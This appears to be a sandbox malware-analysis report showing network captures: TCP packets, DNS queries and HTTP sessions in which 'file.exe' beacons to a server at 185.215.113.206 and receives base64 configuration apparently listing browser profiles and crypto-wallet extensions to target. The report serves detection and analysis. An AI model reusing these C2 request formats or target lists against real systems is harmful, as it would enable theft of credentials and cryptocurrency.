Dec 6, 2024 22:09:08.578771114 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.578891993 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.578931093 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.579737902 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.579780102 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.579843998 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.579881907 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.580845118 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.580857038 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.580888033 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.580909014 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.581752062 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.581794977 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.581866980 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.581907034 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.582807064 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.582850933 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.583162069 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.583209991 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.583847046 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.583888054 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.584239960 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.584279060 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.584875107 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.584918976 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.585025072 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.585059881 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.586380005 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.586394072 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.586445093 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.586904049 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.586932898 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.586945057 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.587205887 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.587244034 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.587938070 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.587979078 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.588120937 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.588159084 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.588965893 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.589004040 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.589608908 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.589642048 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.589958906 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.589996099 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.590081930 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.590121984 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.591216087 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.591257095 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.591408968 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.591444969 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.592021942 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.592066050 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.592633009 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.592672110 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.593070984 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.593102932 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.593177080 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.593211889 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.594034910 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.594096899 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.594180107 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.594219923 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.595129013 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.595165968 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.595271111 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.595308065 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.596115112 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.596153021 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.596525908 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.596565008 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.597138882 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.597172022 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.597848892 CET	80	49830	185.215.113.16	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 6, 2024 22:08:25.476990938 CET	192.168.2.7	1.1.1.1	0x6107	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:08:25.477149010 CET	192.168.2.7	1.1.1.1	0x8aee	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 6, 2024 22:08:32.332222939 CET	192.168.2.7	1.1.1.1	0x91dc	Standard query (0)	ogs.google.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:08:32.332422018 CET	192.168.2.7	1.1.1.1	0x752	Standard query (0)	ogs.google.com	65	IN (0x0001)	false
Dec 6, 2024 22:08:32.349368095 CET	192.168.2.7	1.1.1.1	0x2a1d	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:08:32.349544048 CET	192.168.2.7	1.1.1.1	0xf404	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 6, 2024 22:08:33.323743105 CET	192.168.2.7	1.1.1.1	0x5998	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:08:33.323930025 CET	192.168.2.7	1.1.1.1	0x1438	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 6, 2024 22:08:25.614303112 CET	1.1.1.1	192.168.2.7	0x6107	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:08:25.614321947 CET	1.1.1.1	192.168.2.7	0x8aee	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 6, 2024 22:08:32.469366074 CET	1.1.1.1	192.168.2.7	0x91dc	No error (0)	ogs.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 22:08:32.469366074 CET	1.1.1.1	192.168.2.7	0x91dc	No error (0)	www3.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:08:32.469443083 CET	1.1.1.1	192.168.2.7	0x752	No error (0)	ogs.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 22:08:32.486836910 CET	1.1.1.1	192.168.2.7	0xf404	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 22:08:32.487339020 CET	1.1.1.1	192.168.2.7	0x2a1d	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 22:08:32.487339020 CET	1.1.1.1	192.168.2.7	0x2a1d	No error (0)	plus.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:08:33.460930109 CET	1.1.1.1	192.168.2.7	0x5998	No error (0)	play.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49701	185.215.113.206	80	6720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:08:15.804039955 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 6, 2024 22:08:17.145143986 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 6, 2024 22:08:17.240667105 CET	411	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIJKEHCAKFCAKFHDAAA Host: 185.215.113.206 Content-Length: 209 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 36 37 36 44 46 44 33 38 31 43 30 35 38 34 39 32 38 30 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 2d 2d 0d 0a Data Ascii: ------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="hwid"7676DFD381C058492808------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="build"drum------EGIJKEHCAKFCAKFHDAAA--
Dec 6, 2024 22:08:17.698494911 CET	407	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 47 45 32 4f 54 46 6d 59 32 49 33 4d 44 52 6c 59 32 5a 6c 4f 47 55 31 59 6d 46 69 5a 44 41 77 4d 32 5a 6d 4e 6a 42 6b 4e 6a 45 77 4e 6a 68 6d 4d 32 49 7a 4d 54 6b 77 4d 44 68 69 5a 54 55 30 4f 57 51 35 5a 6d 59 34 5a 6a 59 79 4d 7a 59 34 5a 6a 46 68 4e 7a 55 33 4d 7a 51 77 4d 6d 49 7a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZGE2OTFmY2I3MDRlY2ZlOGU1YmFiZDAwM2ZmNjBkNjEwNjhmM2IzMTkwMDhiZTU0OWQ5ZmY4ZjYyMzY4ZjFhNzU3MzQwMmIzfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 6, 2024 22:08:17.702759027 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHDAEHDAKECGCAKFCFI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 36 39 31 66 63 62 37 30 34 65 63 66 65 38 65 35 62 61 62 64 30 30 33 66 66 36 30 64 36 31 30 36 38 66 33 62 33 31 39 30 30 38 62 65 35 34 39 64 39 66 66 38 66 36 32 33 36 38 66 31 61 37 35 37 33 34 30 32 62 33 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 2d 2d 0d 0a Data Ascii: ------BFHDAEHDAKECGCAKFCFIContent-Disposition: form-data; name="token"da691fcb704ecfe8e5babd003ff60d61068f3b319008be549d9ff8f62368f1a7573402b3------BFHDAEHDAKECGCAKFCFIContent-Disposition: form-data; name="message"browsers------BFHDAEHDAKECGCAKFCFI--
Dec 6, 2024 22:08:18.148757935 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 6, 2024 22:08:18.148791075 CET	124	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdT
Dec 6, 2024 22:08:18.340392113 CET	896	IN	Data Raw: 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e 78 63 51 32 68 6c 5a 47 39 30 58 46 Data Ascii: dGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnRcRWRnZVxBcHB
Dec 6, 2024 22:08:18.341953993 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDBAEHIJKKFHIEGCBG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 36 39 31 66 63 62 37 30 34 65 63 66 65 38 65 35 62 61 62 64 30 30 33 66 66 36 30 64 36 31 30 36 38 66 33 62 33 31 39 30 30 38 62 65 35 34 39 64 39 66 66 38 66 36 32 33 36 38 66 31 61 37 35 37 33 34 30 32 62 33 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 2d 2d 0d 0a Data Ascii: ------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="token"da691fcb704ecfe8e5babd003ff60d61068f3b319008be549d9ff8f62368f1a7573402b3------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="message"plugins------ECGDBAEHIJKKFHIEGCBG--
Dec 6, 2024 22:08:18.791340113 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:18 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 6, 2024 22:08:18.791538000 CET	124	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1k
Dec 6, 2024 22:08:18.793266058 CET	1236	IN	Data Raw: 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 Data Ascii: cG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2F
Dec 6, 2024 22:08:18.793502092 CET	1236	IN	Data Raw: 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 Data Ascii: U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWN
Dec 6, 2024 22:08:18.793514967 CET	1236	IN	Data Raw: 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d Data Ascii: cGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFR
